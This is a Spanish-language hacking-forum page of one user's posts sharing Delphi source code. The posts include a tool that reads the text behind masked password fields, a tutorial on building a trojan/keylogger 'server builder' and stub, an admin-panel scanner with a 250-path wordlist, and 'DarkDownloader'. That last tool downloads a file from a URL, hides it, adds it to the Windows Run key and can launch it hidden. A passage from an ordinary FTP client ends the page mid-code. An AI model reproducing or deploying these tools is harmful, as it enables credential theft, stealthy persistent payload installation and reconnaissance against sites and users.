Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - BigBear

#211
Un simple programa para revelar los famosos asteriscos.

El clasico de los clasicos xDD.

Una imagen :



El codigo :

Código (delphi) [Seleccionar]

// Magic Click 0.2
// Coded By Doddy H
// Credits : Thanks to Victory Fernandes for their excellent manual on how to reveal asterisks

unit magic;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, sSkinManager, jpeg, ExtCtrls, StdCtrls, sEdit, sGroupBox, sButton;

type
  TForm1 = class(TForm)
    sSkinManager1: TsSkinManager;
    Image1: TImage;
    sGroupBox1: TsGroupBox;
    sEdit1: TsEdit;
    sGroupBox2: TsGroupBox;
    sButton1: TsButton;
    sButton2: TsButton;
    sButton3: TsButton;
    Timer1: TTimer;
    procedure sButton2Click(Sender: TObject);
    procedure sButton3Click(Sender: TObject);
    procedure Timer1Timer(Sender: TObject);

    procedure FormCreate(Sender: TObject);
    procedure sButton1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);
begin

  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  sSkinManager1.SkinName := 'neonnight';
  sSkinManager1.Active := True;

  Timer1.Enabled := True;

end;

procedure TForm1.sButton2Click(Sender: TObject);
begin
  ShowMessage('Contact to lepuke[at]hotmail[com]');
end;

procedure TForm1.sButton1Click(Sender: TObject);
begin
  sEdit1.SelectAll;
  sEdit1.CopyToClipboard;
end;

procedure TForm1.sButton3Click(Sender: TObject);
begin
  Form1.Close();
end;

procedure TForm1.Timer1Timer(Sender: TObject);
var
  posicion: TPoint;
  password: array [0 .. 63] of Char;
  need: HWND;
begin
  GetCursorPos(posicion);
  need := WindowFromPoint(posicion);
  if SendMessage(need, EM_GETPASSWORDCHAR, 0, 0) <> 0 then
  begin
    SendMessage(need, WM_GETTEXT, 64, Longint(@password));
    sEdit1.Text := password;
  end;
end;

end.

// The End ?


Si quieren bajarlo pueden hacerlo de aca.
#212
en que distribucion de linux ?
#213
un server builder es lo basico para un troyano , aunque tambien te sirve para generar keyloggers que tienen datos generados por el usuario por ejemplo el servidor ftp que marco el usuario despues con el builder te genera el ejecutable , tambien te diria que sirve con joiners pero ya es otra cosa.
puede que me equivoque en algo porque no se como explicarme xDD.

#214
[Titulo] : Creacion de un Server Builder
[Lenguaje] : Delphi
[Autor] : Doddy Hackman

[Temario]

-- =================--------

0x01 : Introduccion
0x02 : Creacion del builder
0x03 : Creacion del stub
0x04 : Probando el programa

-- =================--------

0x01 : Introduccion

Siempre quise hacer un Server Builder en delphi pero siempre me fue dificil porque nadie habia hecho un manual en Delphi donde se explicara , tampoco en los foros
de programacion me querian ayudar , entonces tuve que buscar mucho en google hasta encontrar un codigo simple donde se tratara de este tema.
Entonces encontre un codigo donde se trataba de este caso hecho en Delphi por alguien llamado Faceless Wonder , de esta forma me base del codigo de Faceless Wonder
para poder hacer uno bien basico para poder explicar en este tutorial.

Empecemos .......


0x02 : Creacion del builder

Primero vamos a crear el builder , para eso vamos a File->New->VCL Forms Application como lo hice en la imagen :



Ahora creamos dos edit y un boton como en la imagen :



Despues le damos doble click al boton para poner el siguiente codigo :

Código (delphi) [Seleccionar]

procedure TForm1.Button1Click(Sender: TObject);
var
  linea: string; // Declaramos todas las variables
  aca: THandle;
  code: Array [0 .. 80 + 1] of Char;
  nose: DWORD;
  marca_uno: string;
  marca_dos: string;

begin

  marca_uno := '{IP}'; // Ponemos la marca para la IP
  marca_dos := '{PORT}'; // Ponemos la marca para el puerto

  aca := INVALID_HANDLE_VALUE;
  nose := 0;

  begin
    linea := marca_uno + Edit1.Text + marca_uno + marca_dos + Edit2.Text +
      marca_dos; // Formamos la linea con los datos de la IP y el Puerto
    StrCopy(code, pchar(linea));
    aca := CreateFile(pchar('server.exe'), GENERIC_WRITE, FILE_SHARE_READ, nil,
      OPEN_EXISTING, 0, 0); // Abrimos el archivo server.exe
    if (aca <> INVALID_HANDLE_VALUE) then
    begin
      SetFilePointer(aca, 0, nil, FILE_END);
      WriteFile(aca, code, 80, nose, nil); // Escribimos en el archivo
      CloseHandle(aca); // Cerramos el archivo
    end;
  end;

end;


Otra imagen para que vean como quedo :



Con eso guardamos el proyecto y vamos al stub

0x03 : Creacion del stub

La parte vital y supuestamente mas dificil , la idea es que el archivo se lea a si mismo y busque lo que hicimos en el builder , para empezar hacemos lo mismo que el builder ,
creamos otro proyecto como la otra vez , File->New->VCL Forms Application , entonces agregamos dos edit y un boton como en la imagen.



Una vez hecho hacemos doble click en el boton y ponemos el siguiente codigo :

Código (delphi) [Seleccionar]

// Funcion para dividir el texto para buscar la IP y el Puerto

function regex(text: String; deaca: String; hastaaca: String): String;
begin
  Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
  SetLength(text, AnsiPos(hastaaca, text) - 1);
  Result := text;
end;

procedure TForm1.Button1Click(Sender: TObject);
var
  ob: THandle; // Declaramos todas las variables
  code: Array [0 .. 80 + 1] of Char;
  nose: DWORD;
  ip: string;
  port: string;

begin

  ob := INVALID_HANDLE_VALUE;
  code := '';

  // El programa se lee a si mismo
  ob := CreateFile(pchar(paramstr(0)), GENERIC_READ, FILE_SHARE_READ, nil,
    OPEN_EXISTING, 0, 0);
  if (ob <> INVALID_HANDLE_VALUE) then
  begin
    SetFilePointer(ob, -80, nil, FILE_END);
    ReadFile(ob, code, 80, nose, nil); // Extraemos el contenido y lo ponemos en la variable code
    CloseHandle(ob); // Cerramos el archivo
  end;

  ip := regex(code, '{IP}', '{IP}'); // Usamos la funcion regex para sacar la IP
  port := regex(code, '{PORT}', '{PORT}'); // Usamos la funcion regex para sacar el puerto

  Edit1.text := ip; // Ponemos la IP en Edit1
  Edit2.text := port; // Ponemos el puerto en Edit2

end;


Una imagen de como queda :



Guarden el proyecto de forma que el ejecutable termine llamandose server.exe

Ahora que esta todo hecho pasamos al siguiente punto.

0x04 : Probando el programa

Bueno  ,ahora solo cargan el builder , ponen los datos que quieran y despues cargan el stub "server.exe" para cargar el boton del stub , entonces veran algo como esto



Como ven tambien use WinHex para cargar el ejecutable server.exe y verificar que realmente el builder habia hecho bien el trabajo.

Eso seria todo.

Si quieren bajar el manual en formato PDF lo pueden hacer de aca.

--========--
  The End ?
--========--
#215
Un simple programa para buscar el famoso panel de administracion.

Una imagen :



El codigo :

Código (delphi) [Seleccionar]

// Admin Finder 0.2
// Coded By Doddy H

unit admin;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, sGroupBox, ComCtrls, sStatusBar, jpeg, ExtCtrls,
  IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdHTTP,
  sSkinManager, sListBox, sButton, sEdit, ShellApi, Menus;

type
  TForm1 = class(TForm)
    sSkinManager1: TsSkinManager;
    IdHTTP1: TIdHTTP;
    Image1: TImage;
    sStatusBar1: TsStatusBar;
    sGroupBox1: TsGroupBox;
    sEdit1: TsEdit;
    sGroupBox2: TsGroupBox;
    sListBox1: TsListBox;
    sEdit2: TsEdit;
    PopupMenu1: TPopupMenu;
    S1: TMenuItem;
    A1: TMenuItem;
    E1: TMenuItem;
    procedure sListBox1DblClick(Sender: TObject);
    procedure S1Click(Sender: TObject);
    procedure S2Click(Sender: TObject);
    procedure A1Click(Sender: TObject);
    procedure E1Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.A1Click(Sender: TObject);
begin
  ShowMessage('Contact to lepuke[at]hotmail[com]');
end;

procedure TForm1.E1Click(Sender: TObject);
begin
  Form1.Close();
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  sSkinManager1.SkinName := 'garnet';
  sSkinManager1.Active := True;
end;

procedure TForm1.S1Click(Sender: TObject);
const
  paginas: array [1 .. 250] of string = ('admin/admin.asp', 'admin/login.asp',
    'admin/index.asp', 'admin/admin.aspx', 'admin/login.aspx',
    'admin/index.aspx', 'admin/webmaster.asp', 'admin/webmaster.aspx',
    'asp/admin/index.asp', 'asp/admin/index.aspx', 'asp/admin/admin.asp',
    'asp/admin/admin.aspx', 'asp/admin/webmaster.asp',
    'asp/admin/webmaster.aspx', 'admin/', 'login.asp', 'login.aspx',
    'admin.asp', 'admin.aspx', 'webmaster.aspx', 'webmaster.asp',
    'login/index.asp', 'login/index.aspx', 'login/login.asp',
    'login/login.aspx', 'login/admin.asp', 'login/admin.aspx',
    'administracion/index.asp', 'administracion/index.aspx',
    'administracion/login.asp', 'administracion/login.aspx',
    'administracion/webmaster.asp', 'administracion/webmaster.aspx',
    'administracion/admin.asp', 'administracion/admin.aspx', 'php/admin/',
    'admin/admin.php', 'admin/index.php', 'admin/login.php',
    'admin/system.php', 'admin/ingresar.php', 'admin/administrador.php',
    'admin/default.php', 'administracion/', 'administracion/index.php',
    'administracion/login.php', 'administracion/ingresar.php',
    'administracion/admin.php', 'administration/', 'administration/index.php',
    'administration/login.php', 'administrator/index.php',
    'administrator/login.php', 'administrator/system.php', 'system/',
    'system/login.php', 'admin.php', 'login.php', 'administrador.php',
    'administration.php', 'administrator.php', 'admin1.html', 'admin1.php',
    'admin2.php', 'admin2.html', 'yonetim.php', 'yonetim.html', 'yonetici.php',
    'yonetici.html', 'adm/', 'admin/account.php', 'admin/account.html',
    'admin/index.html', 'admin/login.html', 'admin/home.php',
    'admin/controlpanel.html', 'admin/controlpanel.php', 'admin.html',
    'admin/cp.php', 'admin/cp.html', 'cp.php', 'cp.html', 'administrator/',
    'administrator/index.html', 'administrator/login.html',
    'administrator/account.html', 'administrator/account.php',
    'administrator.html', 'login.html', 'modelsearch/login.php',
    'moderator.php', 'moderator.html', 'moderator/login.php',
    'moderator/login.html', 'moderator/admin.php', 'moderator/admin.html',
    'moderator/', 'account.php', 'account.html', 'controlpanel/',
    'controlpanel.php', 'controlpanel.html', 'admincontrol.php',
    'admincontrol.html', 'adminpanel.php', 'adminpanel.html', 'admin1.asp',
    'admin2.asp', 'yonetim.asp', 'yonetici.asp', 'admin/account.asp',
    'admin/home.asp', 'admin/controlpanel.asp', 'admin/cp.asp', 'cp.asp',
    'administrator/index.asp', 'administrator/login.asp',
    'administrator/account.asp', 'administrator.asp', 'modelsearch/login.asp',
    'moderator.asp', 'moderator/login.asp', 'moderator/admin.asp',
    'account.asp', 'controlpanel.asp', 'admincontrol.asp', 'adminpanel.asp',
    'fileadmin/', 'fileadmin.php', 'fileadmin.asp', 'fileadmin.html',
    'administration.html', 'sysadmin.php', 'sysadmin.html', 'phpmyadmin/',
    'myadmin/', 'sysadmin.asp', 'sysadmin/', 'ur-admin.asp', 'ur-admin.php',
    'ur-admin.html', 'ur-admin/', 'Server.php', 'Server.html', 'Server.asp',
    'Server/', 'wpadmin/', 'administr8.php', 'administr8.html', 'administr8/',
    'administr8.asp', 'webadmin/', 'webadmin.php', 'webadmin.asp',
    'webadmin.html', 'administratie/', 'admins/', 'admins.php', 'admins.asp',
    'admins.html', 'administrivia/', 'Database_Administration/', 'WebAdmin/',
    'useradmin/', 'sysadmins/', 'admin1/', 'systemadministration/',
    'administrators/', 'pgadmin/', 'directadmin/', 'staradmin/',
    'ServerAdministrator/', 'SysAdmin/', 'administer/', 'LiveUser_Admin/',
    'sysadmin/', 'typo3/', 'panel/', 'cpanel/', 'cPanel/', 'cpanel_file/',
    'platz_login/', 'rcLogin/', 'blogindex/', 'formslogin/', 'autologin/',
    'support_login/', 'meta_login/', 'manuallogin/', 'simpleLogin/',
    'loginflat/', 'utility_login/', 'showlogin/', 'memlogin/', 'members/',
    'login-redirect/', 'sublogin/', 'wplogin/', 'login1/', 'dirlogin/',
    'login_db/', 'xlogin/', 'smblogin/', 'customer_login/', 'UserLogin/',
    'loginus/', 'acct_login/', 'admin_area/', 'bigadmin/', 'project-admins/',
    'phppgadmin/', 'pureadmin/', 'sqladmin/', 'radmind/', 'openvpnadmin/',
    'wizmysqladmin/', 'vadmind/', 'ezsqliteadmin/', 'hpwebjetadmin/',
    'newsadmin/', 'adminpro/', 'Lotus_Domino_Admin/', 'bbadmin/',
    'vmailadmin/', 'Indy_admin/', 'ccp14admin/', 'irc-macadmin/',
    'banneradmin/', 'sshadmin/', 'phpldapadmin/', 'macadmin/',
    'administratoraccounts/', 'admin4_account/', 'admin4_colon/', 'radmind1/',
    'SuperAdmin/', 'AdminTools/', 'cmsadmin/', 'SysAdmin2/', 'globes_admin/',
    'cadmins/', 'phpSQLiteAdmin/', 'navSiteAdmin/', 'server_admin_small/',
    'logo_sysadmin/', 'server/', 'database_administration/', 'power_user/',
    'system_administration/', 'ss_vms_admin_sm/');
var
  IdHTTP: TIdHTTP;
  i: integer;

begin
  try

    sListBox1.Clear;

    sStatusBar1.Panels[0].text := '[+] Starting the scan';
    Form1.sStatusBar1.Update;

    IdHTTP := TIdHTTP.Create(nil);

    for i := Low(paginas) to High(paginas) do
      try

        sStatusBar1.Panels[0].text := '[+] Testing : ' + paginas[i];
        Form1.sStatusBar1.Update;

        IdHTTP.Get(sEdit1.text + '/' + paginas[i]);
        if IdHTTP.ResponseCode = 200 then
          sListBox1.Items.Add(sEdit1.text + '/' + paginas[i]);
        sListBox1.Update;
      except
        on E: EIdHttpProtocolException do
          ;
        on E: Exception do
          ;
      end;
  finally
    IdHTTP.Free;
  end;

  sStatusBar1.Panels[0].text := '[+] Finished';
  Form1.sStatusBar1.Update;

end;

procedure TForm1.S2Click(Sender: TObject);
begin
  Abort;
end;

procedure TForm1.sListBox1DblClick(Sender: TObject);
begin
  sEdit2.text := sListBox1.Items.Strings[sListBox1.ItemIndex];
  sEdit2.SelectAll;
  sEdit2.CopyToClipboard;
end;

end.

// The End ?


Si quieren lo puede bajar de aca.
#216
Un simple downloader con las siguientes opciones :

  • Cambiar el nombre del archivo descargado   
  • Guardarlo en una carpeta , si la carpeta no existe la crea
  • Ocultar el archivo y la carpeta
  • Hacer que ese archivo se cargue cada vez que inicie Windows
  • Cargar el archivo de forma oculta o normal

    El codigo :

    Código (delphi) [Seleccionar]

    // DarkDownloader 0.2
    // Coded By Doddy H

    unit down;

    interface

    uses
      Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
      Dialogs, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdHTTP,
      sSkinManager, StdCtrls, sEdit, sGroupBox, ComCtrls, sStatusBar, acProgressBar,
      sRadioButton, sCheckBox, jpeg, ExtCtrls, Registry, ShellApi;

    type
      TForm1 = class(TForm)
        sSkinManager1: TsSkinManager;
        IdHTTP1: TIdHTTP;
        sGroupBox1: TsGroupBox;
        sEdit1: TsEdit;
        Button1: TButton;
        sStatusBar1: TsStatusBar;
        sProgressBar1: TsProgressBar;
        sGroupBox2: TsGroupBox;
        sEdit2: TsEdit;
        sEdit3: TsEdit;
        sCheckBox1: TsCheckBox;
        sCheckBox2: TsCheckBox;
        sCheckBox3: TsCheckBox;
        sCheckBox4: TsCheckBox;
        Image1: TImage;
        sCheckBox5: TsCheckBox;
        sRadioButton1: TsRadioButton;
        sRadioButton2: TsRadioButton;
        procedure Button1Click(Sender: TObject);

        procedure FormCreate(Sender: TObject);

        procedure IdHTTP1WorkBegin(ASender: TObject; AWorkMode: TWorkMode;
          AWorkCountMax: Int64);
        procedure IdHTTP1Work(ASender: TObject; AWorkMode: TWorkMode;
          AWorkCount: Int64);
        procedure IdHTTP1WorkEnd(ASender: TObject; AWorkMode: TWorkMode);
      private
        { Private declarations }
      public
        { Public declarations }
      end;

    var
      Form1: TForm1;

    implementation

    {$R *.dfm}

    function getfilename(archivo: string): string;
    var
      test: TStrings;
    begin

      test := TStringList.Create;
      test.Delimiter := '/';
      test.DelimitedText := archivo;
      Result := test[test.Count - 1];

      test.Free;

    end;

    procedure TForm1.Button1Click(Sender: TObject);
    var
      filename: string;
      nombrefinal: string;
      addnow: TRegistry;
      archivobajado: TFileStream;

    begin

      if not sCheckBox1.Checked then
      begin
        filename := sEdit1.Text;
        nombrefinal := getfilename(filename);
      end
      else
      begin
        nombrefinal := sEdit2.Text;
      end;

      archivobajado := TFileStream.Create(nombrefinal, fmCreate);

      try
        begin
          DeleteFile(nombrefinal);
          IdHTTP1.Get(sEdit1.Text, archivobajado);
          sStatusBar1.Panels[0].Text := '[+] File Dowloaded';
          Form1.sStatusBar1.Update;
          archivobajado.Free;
        end;
      except
        sStatusBar1.Panels[0].Text := '[-] Failed download';
        Form1.sStatusBar1.Update;
        archivobajado.Free;
        Abort;
      end;

      if FileExists(nombrefinal) then
      begin

        if sCheckBox2.Checked then
        begin
          if not DirectoryExists(sEdit3.Text) then
          begin
            CreateDir(sEdit3.Text);
          end;
          MoveFile(Pchar(nombrefinal), Pchar(sEdit3.Text + '/' + nombrefinal));
          sStatusBar1.Panels[0].Text := '[+] File Moved';
          Form1.sStatusBar1.Update;
        end;

        if sCheckBox3.Checked then
        begin
          SetFileAttributes(Pchar(sEdit3.Text), FILE_ATTRIBUTE_HIDDEN);
          if sCheckBox2.Checked then
          begin
            SetFileAttributes(Pchar(sEdit3.Text + '/' + nombrefinal),
              FILE_ATTRIBUTE_HIDDEN);

            sStatusBar1.Panels[0].Text := '[+] File Hidden';
            Form1.sStatusBar1.Update;
          end
          else
          begin
            SetFileAttributes(Pchar(nombrefinal), FILE_ATTRIBUTE_HIDDEN);
            sStatusBar1.Panels[0].Text := '[+] File Hidden';
            Form1.sStatusBar1.Update;
          end;
        end;

        if sCheckBox4.Checked then
        begin

          addnow := TRegistry.Create;
          addnow.RootKey := HKEY_LOCAL_MACHINE;
          addnow.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', FALSE);

          if sCheckBox2.Checked then
          begin
            addnow.WriteString('uber', sEdit3.Text + '/' + nombrefinal);
          end
          else
          begin
            addnow.WriteString('uber', ExtractFilePath(Application.ExeName)
                + '/' + nombrefinal);
          end;

          sStatusBar1.Panels[0].Text := '[+] Registry Updated';
          Form1.sStatusBar1.Update;

          addnow.Free;

        end;

        if sCheckBox5.Checked then
        begin

          if sRadioButton1.Checked then
          begin
            if sCheckBox2.Checked then
            begin
              ShellExecute(Handle, 'open', Pchar(sEdit3.Text + '/' + nombrefinal),
                nil, nil, SW_SHOWNORMAL);
            end
            else
            begin
              ShellExecute(Handle, 'open', Pchar(nombrefinal), nil, nil,
                SW_SHOWNORMAL);
            end;
          end
          else
          begin
            if sCheckBox2.Checked then
            begin
              ShellExecute(Handle, 'open', Pchar(sEdit3.Text + '/' + nombrefinal),
                nil, nil, SW_HIDE);
            end
            else
            begin
              ShellExecute(Handle, 'open', Pchar(nombrefinal), nil, nil, SW_HIDE);
            end;
          end;

        end;

        if sCheckBox1.Checked or sCheckBox2.Checked or sCheckBox3.Checked or
          sCheckBox4.Checked or sCheckBox5.Checked then
        begin
          sStatusBar1.Panels[0].Text := '[+] Finished';
          Form1.sStatusBar1.Update;
        end;

      end;

    end;

    procedure TForm1.FormCreate(Sender: TObject);
    begin
      sProgressBar1.Position := 0;
      sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
      sSkinManager1.SkinName := 'tv-b';
      sSkinManager1.Active := True;
    end;

    procedure TForm1.IdHTTP1Work(ASender: TObject; AWorkMode: TWorkMode;
      AWorkCount: Int64);
    begin
      sProgressBar1.Position := AWorkCount;
      sStatusBar1.Panels[0].Text := '[+] Downloading ...';
      Form1.sStatusBar1.Update;
    end;

    procedure TForm1.IdHTTP1WorkBegin(ASender: TObject; AWorkMode: TWorkMode;
      AWorkCountMax: Int64);
    begin
      sProgressBar1.Max := AWorkCountMax;
      sStatusBar1.Panels[0].Text := '[+] Starting download ...';
      Form1.sStatusBar1.Update;
    end;

    procedure TForm1.IdHTTP1WorkEnd(ASender: TObject; AWorkMode: TWorkMode);
    begin
      sProgressBar1.Position := 0;
    end;

    end.

    // The End ?


    Una imagen :



    Si quieren bajar el proyecto lo pueden hacer de aca
#217
buen aporte , podrias tambien poner el codigo en el post para no tener que descargarlo para verlo.
#218
Un simple cliente FTP que eh estado haciendo en Delphi con las siguientes opciones :

  • Listar archivos del servidor FTP
  • Permite moverse por los directorios
  • Se pueden subir y bajar archivos
  • Se pueden crear y borrar carpetas
  • Se pueden renombrar y borrar archivos

    Tambien tienen una tabla que les permite navegar por los directorios de sus computadoras para que les sea mas comodo bajar y subir archivos.

    Una imagen :



    El codigo

    Código (delphi) [Seleccionar]

    // Project File X 0.2
    // Coded By Doddy H
    // Credits :
    // Files Manager based on : http://www.swissdelphicenter.ch/torry/showcode.php?id=421
    // Upload file based on : http://delphiallimite.blogspot.com.ar/2007/06/subiendo-archivos-por-ftp-con-indy.html
    // Download file based : http://delphiallimite.blogspot.com.ar/2007/06/descargango-archivos-por-ftp-con-indy.html

    unit ftp;

    interface

    uses
      Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
      Dialogs, ImgList, sSkinManager, IdBaseComponent, IdComponent, IdTCPConnection,
      IdTCPClient, IdExplicitTLSClientServerBase, IdFTP, ComCtrls, sListView,
      StdCtrls, sButton, sEdit, sLabel, sGroupBox, acProgressBar, sStatusBar,
      IdFTPList,
      ShellAPI, sListBox, jpeg, ExtCtrls, Menus;

    type
      TForm1 = class(TForm)
        IdFTP1: TIdFTP;
        sSkinManager1: TsSkinManager;
        ImageList1: TImageList;
        sGroupBox1: TsGroupBox;
        sLabel1: TsLabel;
        sEdit1: TsEdit;
        sButton1: TsButton;
        sListView1: TsListView;
        sGroupBox2: TsGroupBox;
        sLabel2: TsLabel;
        sEdit2: TsEdit;
        sLabel3: TsLabel;
        sEdit3: TsEdit;
        sLabel4: TsLabel;
        sEdit4: TsEdit;
        sButton2: TsButton;
        sStatusBar1: TsStatusBar;
        sProgressBar1: TsProgressBar;
        sGroupBox3: TsGroupBox;
        sLabel5: TsLabel;
        sEdit5: TsEdit;
        sButton3: TsButton;
        sListView2: TsListView;
        ListBox1: TListBox;
        ListBox2: TListBox;
        ImageList2: TImageList;
        sButton5: TsButton;
        Image1: TImage;
        sButton4: TsButton;

        PopupMenu1: TPopupMenu;
        D1: TMenuItem;
        R1: TMenuItem;
        R2: TMenuItem;
        M1: TMenuItem;
        D2: TMenuItem;

        PopupMenu2: TPopupMenu;
        C1: TMenuItem;
        D3: TMenuItem;
        D4: TMenuItem;
        R3: TMenuItem;
        R4: TMenuItem;
        PopupMenu3: TPopupMenu;
        A1: TMenuItem;
        E1: TMenuItem;
        procedure sButton3Click(Sender: TObject);
        procedure sListView1DblClick(Sender: TObject);
        procedure sButton1Click(Sender: TObject);
        procedure sButton2Click(Sender: TObject);
        procedure IdFTP1Connected(Sender: TObject);
        procedure sListView2DblClick(Sender: TObject);
        procedure sButton5Click(Sender: TObject);
        procedure IdFTP1Work(ASender: TObject; AWorkMode: TWorkMode;
          AWorkCount: Int64);
        procedure IdFTP1WorkBegin(ASender: TObject; AWorkMode: TWorkMode;
          AWorkCountMax: Int64);
        procedure IdFTP1WorkEnd(ASender: TObject; AWorkMode: TWorkMode);
        procedure FormCreate(Sender: TObject);
        procedure sButton4Click(Sender: TObject);
        procedure R1Click(Sender: TObject);
        procedure R2Click(Sender: TObject);

        procedure D2Click(Sender: TObject);
        procedure D1Click(Sender: TObject);
        procedure M1Click(Sender: TObject);
        procedure C1Click(Sender: TObject);
        procedure D3Click(Sender: TObject);
        procedure D4Click(Sender: TObject);
        procedure R3Click(Sender: TObject);
        procedure R4Click(Sender: TObject);
        procedure D5Click(Sender: TObject);
        procedure A1Click(Sender: TObject);
        procedure E1Click(Sender: TObject);
        procedure IdFTP1Disconnected(Sender: TObject);

      private

        { Private declarations }
      public
        { Public declarations }
      end;

    var
      Form1: TForm1;

    implementation

    {$R *.dfm}

    procedure listarftp(dirnownow2: string; sListView2: TsListView; IdFTP1: TIdFTP;
      sListbox1: TListBox; sListbox2: TListBox; ImageList1: TImageList);
    var
      i: integer;
      Item: TIdFTPListItem;
      listate2: TListItem;

    begin

      sListView2.Items.Clear;
      sListbox1.Clear;
      sListbox2.Clear;

      listate2 := sListView2.Items.Add;

      IdFTP1.ChangeDir(dirnownow2);
      IdFTP1.List('*.*', True);

      for i := 0 to IdFTP1.DirectoryListing.Count - 1 do
      begin

        Item := IdFTP1.DirectoryListing.Items[i];
        if Item.ItemType = ditFile then
        begin
          sListbox1.Items.Add(IdFTP1.DirectoryListing.Items[i].FileName);
        end
        else
        begin
          sListbox2.Items.Add(IdFTP1.DirectoryListing.Items[i].FileName);
        end;

      end;

      sListView2.Items.Clear;

      for i := 0 to sListbox2.Count - 1 do
      begin

        with sListView2 do

        begin

          listate2 := sListView2.Items.Add;
          listate2.Caption := sListbox2.Items[i];
          listate2.SubItems.Add('Directory');
          listate2.ImageIndex := 0;

        end;
      end;

      for i := 0 to sListbox1.Count - 1 do
      begin

        with sListView2 do

        begin

          listate2 := sListView2.Items.Add;
          listate2.Caption := sListbox1.Items[i];
          listate2.SubItems.Add('File');
          listate2.ImageIndex := 1;

        end;
      end;

    end;

    procedure listar(dirnownow: string; sListView1: TsListView;
      ImageList1: TImageList);
    var
      buscar: TSearchRec;
      Icon: TIcon;
      listate: TListItem;
      getdata: SHFILEINFO;
      dirnow: string;

    begin

      dirnow := StringReplace(dirnownow, '/', '\', [rfReplaceAll, rfIgnoreCase]);

      sListView1.Items.Clear;
      Icon := TIcon.Create;
      sListView1.Items.BeginUpdate;

      if FindFirst(dirnow + '*.*', faAnyFile, buscar) = 0 then
      begin
        repeat
          if (buscar.Attr = faDirectory) then
          begin

            with sListView1 do
            begin

              if not(buscar.Name = '.') and not(buscar.Name = '..') then
              begin

                listate := sListView1.Items.Add;

                SHGetFileInfo(PChar(dirnow + buscar.Name), 0, getdata, SizeOf
                    (getdata), SHGFI_DISPLAYNAME);
                listate.Caption := getdata.szDisplayName;

                SHGetFileInfo(PChar(dirnow + buscar.Name), 0, getdata, SizeOf
                    (getdata), SHGFI_TYPENAME);
                listate.SubItems.Add(getdata.szTypeName);

                SHGetFileInfo(PChar(dirnow + buscar.Name), 0, getdata, SizeOf
                    (getdata), SHGFI_ICON or SHGFI_SMALLICON);
                Icon.Handle := getdata.hIcon;
                listate.ImageIndex := ImageList1.AddIcon(Icon);

                DestroyIcon(getdata.hIcon);

              end;
            end;

          end;
        until FindNext(buscar) <> 0;
        FindClose(buscar);
      end;

      if FindFirst(dirnow + '*.*', faAnyFile, buscar) = 0 then
      begin
        repeat
          if (buscar.Attr <> faDirectory) then
          begin

            with sListView1 do
            begin

              listate := sListView1.Items.Add;

              SHGetFileInfo(PChar(dirnow + buscar.Name), 0, getdata, SizeOf(getdata)
                  , SHGFI_DISPLAYNAME);
              listate.Caption := buscar.Name;

              SHGetFileInfo(PChar(dirnow + buscar.Name), 0, getdata, SizeOf(getdata)
                  , SHGFI_TYPENAME);
              listate.SubItems.Add(getdata.szTypeName);

              SHGetFileInfo(PChar(dirnow + buscar.Name), 0, getdata, SizeOf(getdata)
                  , SHGFI_ICON or SHGFI_SMALLICON);
              Icon.Handle := getdata.hIcon;
              listate.ImageIndex := ImageList1.AddIcon(Icon);

              DestroyIcon(getdata.hIcon);

            end;

          end

          until FindNext(buscar) <> 0;
          FindClose(buscar);
        end;

        sListView1.Items.EndUpdate;

      end;

      procedure TForm1.FormCreate(Sender: TObject);
      begin
        sProgressBar1.Max := 0;

        sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName)
          + 'Data';
        sSkinManager1.SkinName := 'matrix';
        sSkinManager1.Active := True;

      end;

      procedure TForm1.A1Click(Sender: TObject);
      begin
        ShowMessage('Contact to lepuke[at]hotmail[com]');
      end;

      procedure TForm1.C1Click(Sender: TObject);
      var
        newdir: string;
      begin

        newdir := InputBox('Write the name', 'Directory : ', 'test');

        try
          begin
            IdFTP1.ChangeDir(sEdit5.Text);
            IdFTP1.MakeDir(newdir);
            ShowMessage('Directory created');
          end
        except
          begin
            ShowMessage('Error');
          end;
        end;

      end;

      procedure TForm1.D1Click(Sender: TObject);
      begin

        try
          begin
            RmDir(sEdit1.Text + sListView1.Selected.Caption);
            ShowMessage('Directory Deleted');
          end;
        except
          begin
            ShowMessage('Error');
          end;

        end;

      end;

      procedure TForm1.D2Click(Sender: TObject);
      begin

        if DeleteFile(sEdit1.Text + sListView1.Selected.Caption) then
        begin
          ShowMessage('File Deleted');
        end
        else
        begin
          ShowMessage('Error');
        end;

      end;

      procedure TForm1.IdFTP1Connected(Sender: TObject);
      begin
        sStatusBar1.Panels[0].Text := '[+] OnLine';
        Form1.sStatusBar1.Update;
      end;

      procedure TForm1.IdFTP1Disconnected(Sender: TObject);
      begin
        sStatusBar1.Panels[0].Text := '[+] OffLine';
        Form1.sStatusBar1.Update;
      end;

      procedure TForm1.IdFTP1Work(ASender: TObject; AWorkMode: TWorkMode;
        AWorkCount: Int64);
      begin

        sStatusBar1.Panels[0].Text := '[+] Working ...';
        Form1.sStatusBar1.Update;

        sProgressBar1.Position := AWorkCount div 1024;
      end;

      procedure TForm1.IdFTP1WorkBegin(ASender: TObject; AWorkMode: TWorkMode;
        AWorkCountMax: Int64);
      begin

        sStatusBar1.Panels[0].Text := '[+] Working ..';
        Form1.sStatusBar1.Update;

      end;

      procedure TForm1.IdFTP1WorkEnd(ASender: TObject; AWorkMode: TWorkMode);
      begin
